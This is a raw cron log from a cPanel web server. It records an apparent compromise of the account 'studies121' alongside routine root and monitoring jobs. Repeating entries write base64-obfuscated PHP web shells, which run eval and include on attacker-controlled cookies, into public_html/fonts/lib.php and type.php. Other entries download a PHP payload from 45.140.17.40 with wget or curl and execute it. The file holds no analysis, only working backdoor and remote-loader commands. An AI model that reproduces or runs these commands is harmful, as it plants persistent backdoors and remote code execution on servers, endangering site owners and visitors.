Sep  3 04:33:01 ip-184-168-122-23 CROND[32638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:33:01 ip-184-168-122-23 CROND[32641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:33:01 ip-184-168-122-23 CROND[32639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:33:01 ip-184-168-122-23 CROND[32640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:34:01 ip-184-168-122-23 CROND[301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:34:01 ip-184-168-122-23 CROND[315]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:34:01 ip-184-168-122-23 CROND[314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:34:01 ip-184-168-122-23 CROND[316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:34:01 ip-184-168-122-23 CROND[317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:35:01 ip-184-168-122-23 CROND[476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:35:01 ip-184-168-122-23 CROND[478]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 04:35:01 ip-184-168-122-23 CROND[480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:35:01 ip-184-168-122-23 CROND[481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:35:01 ip-184-168-122-23 CROND[482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:35:01 ip-184-168-122-23 CROND[479]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 04:35:01 ip-184-168-122-23 CROND[483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:35:01 ip-184-168-122-23 CROND[484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:36:01 ip-184-168-122-23 CROND[607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:36:01 ip-184-168-122-23 CROND[608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:36:01 ip-184-168-122-23 CROND[619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:36:01 ip-184-168-122-23 CROND[620]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:36:01 ip-184-168-122-23 CROND[623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:37:01 ip-184-168-122-23 CROND[758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:37:01 ip-184-168-122-23 CROND[759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:37:01 ip-184-168-122-23 CROND[760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:37:01 ip-184-168-122-23 CROND[763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:38:01 ip-184-168-122-23 CROND[891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:38:01 ip-184-168-122-23 CROND[894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:38:01 ip-184-168-122-23 CROND[896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:38:01 ip-184-168-122-23 CROND[899]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  3 04:38:01 ip-184-168-122-23 CROND[897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:38:01 ip-184-168-122-23 CROND[898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:39:01 ip-184-168-122-23 CROND[1067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:39:02 ip-184-168-122-23 CROND[1068]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 04:39:02 ip-184-168-122-23 CROND[1069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:39:02 ip-184-168-122-23 CROND[1076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:39:02 ip-184-168-122-23 CROND[1078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:40:01 ip-184-168-122-23 CROND[1315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:40:01 ip-184-168-122-23 CROND[1316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:40:01 ip-184-168-122-23 CROND[1325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:40:01 ip-184-168-122-23 CROND[1324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:40:01 ip-184-168-122-23 CROND[1322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:40:01 ip-184-168-122-23 CROND[1320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:40:01 ip-184-168-122-23 CROND[1323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:40:01 ip-184-168-122-23 CROND[1321]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:41:01 ip-184-168-122-23 CROND[1470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:41:01 ip-184-168-122-23 CROND[1472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:41:01 ip-184-168-122-23 CROND[1476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:41:01 ip-184-168-122-23 CROND[1477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:42:01 ip-184-168-122-23 CROND[1589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:42:01 ip-184-168-122-23 CROND[1591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:42:01 ip-184-168-122-23 CROND[1593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:42:01 ip-184-168-122-23 CROND[1592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:42:01 ip-184-168-122-23 CROND[1594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:43:01 ip-184-168-122-23 CROND[1717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:43:01 ip-184-168-122-23 CROND[1720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:43:01 ip-184-168-122-23 CROND[1719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:43:01 ip-184-168-122-23 CROND[1718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:44:01 ip-184-168-122-23 CROND[1817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:44:01 ip-184-168-122-23 CROND[1821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:44:01 ip-184-168-122-23 CROND[1820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:44:01 ip-184-168-122-23 CROND[1825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:44:01 ip-184-168-122-23 CROND[1826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
